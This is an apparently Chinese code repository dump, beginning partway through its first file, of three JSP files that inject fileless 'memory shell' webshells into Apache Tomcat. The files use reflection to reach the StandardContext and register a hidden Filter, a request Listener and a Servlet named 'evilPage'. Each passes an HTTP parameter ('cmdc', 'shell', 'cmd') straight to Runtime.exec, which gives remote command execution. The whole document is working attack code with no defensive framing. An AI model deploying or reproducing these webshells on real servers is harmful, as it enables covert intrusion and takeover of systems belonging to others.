<%@ page import = "java.io.IOException" %> 22 | <%@ page import = "java.lang.reflect.Constructor" %> 23 | <%@ page import = "java.lang.reflect.Field" %> 24 | <%@ page import = "java.lang.reflect.InvocationTargetException" %> 25 | <%@ page import = "java.util.Map" %> 26 | 27 | 28 | 29 | 30 | 31 | 32 | <% 33 | 34 | class DefaultFilter implements Filter { 35 | @Override 36 | public void init(FilterConfig filterConfig) throws ServletException { 37 | } 38 | 39 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 40 | HttpServletRequest req = (HttpServletRequest) servletRequest; 41 | HttpServletResponse response = (HttpServletResponse) servletResponse; 42 | if (req.getParameter("cmdc") != null) { 43 | 44 | Runtime.getRuntime().exec(req.getParameter("cmdc")); 45 | response.getWriter().println("exec done"); 46 | 47 | } 48 | filterChain.doFilter(servletRequest, servletResponse); 49 | } 50 | 51 | public void destroy() {} 52 | 53 | } 54 | %> 55 | 56 | 57 | <% 58 | String name = "DefaultFilter"; 59 | 60 | ServletContext servletContext = request.getSession().getServletContext(); 61 | 62 | Field appctx = servletContext.getClass().getDeclaredField("context"); 63 | appctx.setAccessible(true); 64 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 65 | Field stdctx = applicationContext.getClass().getDeclaredField("context"); 66 | stdctx.setAccessible(true); 67 | StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 68 | Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); 69 | Configs.setAccessible(true); 70 | Map filterConfigs = (Map) Configs.get(standardContext); 71 | 72 | 73 | if (filterConfigs.get(name) == null){ 74 | DefaultFilter filter = new DefaultFilter(); 75 | 76 | FilterDef filterDef = new FilterDef(); 77 | filterDef.setFilterName(name); 78 | filterDef.setFilterClass(filter.getClass().getName()); 79 | filterDef.setFilter(filter); 80 | standardContext.addFilterDef(filterDef); 81 | 82 | FilterMap filterMap = new FilterMap(); 83 | // filterMap.addURLPattern("/*"); 84 | filterMap.addURLPattern("/abcd"); 85 | filterMap.setFilterName(name); 86 | filterMap.setDispatcher(DispatcherType.REQUEST.name()); 87 | standardContext.addFilterMapBefore(filterMap); 88 | 89 | 90 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); 91 | constructor.setAccessible(true); 92 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); 93 | 94 | filterConfigs.put(name, filterConfig); 95 | out.write("Inject success!"); 96 | } 97 | else{ 98 | out.write("Injected"); 99 | } 100 | %> -------------------------------------------------------------------------------- /jsp注入内存马/addlistener.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import="org.apache.catalina.core.ApplicationContext" %> 3 | <%@ page import="org.apache.catalina.core.StandardContext" %> 4 | <%@ page import="javax.servlet.*" %> 5 | <%@ page import="javax.servlet.annotation.WebServlet" %> 6 | <%@ page import="javax.servlet.http.HttpServlet" %> 7 | <%@ page import="javax.servlet.http.HttpServletRequest" %> 8 | <%@ page import="javax.servlet.http.HttpServletResponse" %> 9 | <%@ page import="java.io.IOException" %> 10 | <%@ page import="java.lang.reflect.Field" %> 11 | 12 | 13 | 14 | <% 15 | class S implements ServletRequestListener{ 16 | @Override 17 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) { 18 | 19 | } 20 | 21 | @Override 22 | public void requestInitialized(ServletRequestEvent servletRequestEvent) { 23 | if(request.getParameter("shell") != null){ 24 | try { 25 | Runtime.getRuntime().exec(request.getParameter("shell")); 26 | } catch (IOException e) {} 27 | } 28 | } 29 | } 30 | %> 31 | 32 | <% 33 | ServletContext servletContext = request.getSession().getServletContext(); 34 | Field appctx = servletContext.getClass().getDeclaredField("context"); 35 | appctx.setAccessible(true); 36 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 37 | Field stdctx = applicationContext.getClass().getDeclaredField("context"); 38 | stdctx.setAccessible(true); 39 | StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 40 | out.println("inject success"); 41 | S servletRequestListener = new S(); 42 | standardContext.addApplicationEventListener(servletRequestListener); 43 | %> 44 | 45 | -------------------------------------------------------------------------------- /jsp注入内存马/addservlet.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import = "org.apache.catalina.core.ApplicationContext"%> 3 | <%@ page import = "org.apache.catalina.core.StandardContext"%> 4 | <%@ page import = "javax.servlet.*"%> 5 | <%@ page import = "javax.servlet.annotation.WebServlet"%> 6 | <%@ page import = "javax.servlet.http.HttpServlet"%> 7 | <%@ page import = "javax.servlet.http.HttpServletRequest"%> 8 | <%@ page import = "javax.servlet.http.HttpServletResponse"%> 9 | <%@ page import = "java.io.IOException"%> 10 | <%@ page import = "java.lang.reflect.Field"%> 11 | 12 | 13 | 14 | 15 | 16 | 17 | <% 18 | class EvilServlet implements Servlet{ 19 | @Override 20 | public void init(ServletConfig config) throws ServletException {} 21 | @Override 22 | public String getServletInfo() {return null;} 23 | @Override 24 | public void destroy() {} public ServletConfig getServletConfig() {return null;} 25 | 26 | 27 | @Override 28 | public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { 29 | HttpServletRequest request1 = (HttpServletRequest) req; 30 | HttpServletResponse response1 = (HttpServletResponse) res; 31 | if (request1.getParameter("cmd") != null){ 32 | Runtime.getRuntime().exec(request1.getParameter("cmd")); 33 | } 34 | else{ 35 | response1.sendError(HttpServletResponse.SC_NOT_FOUND); 36 | } 37 | } 38 | } 39 | 40 | %> 41 | 42 | 43 | <% 44 | ServletContext servletContext = request.getSession().getServletContext(); 45 | 46 | Field appctx = servletContext.getClass().getDeclaredField("context"); 47 | appctx.setAccessible(true); 48 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); 49 | Field stdctx = applicationContext.getClass().getDeclaredField("context"); 50 | stdctx.setAccessible(true); 51 | StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 52 | EvilServlet evilServlet = new EvilServlet(); 53 | 54 | 55 | org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper(); 56 | evilWrapper.setName("evilPage"); 57 | evilWrapper.setLoadOnStartup(1); 58 | evilWrapper.setServlet(evilServlet); 59 | evilWrapper.setServletClass(evilServlet.getClass().getName()); 60 | standardContext.addChild(evilWrapper); 61 | standardContext.addServletMapping("/evilpage", "evilPage"); 62 | 63 | out.println("动态注入servlet成功"); 64 | 65 | %> 66 | --------------------------------------------------------------------------------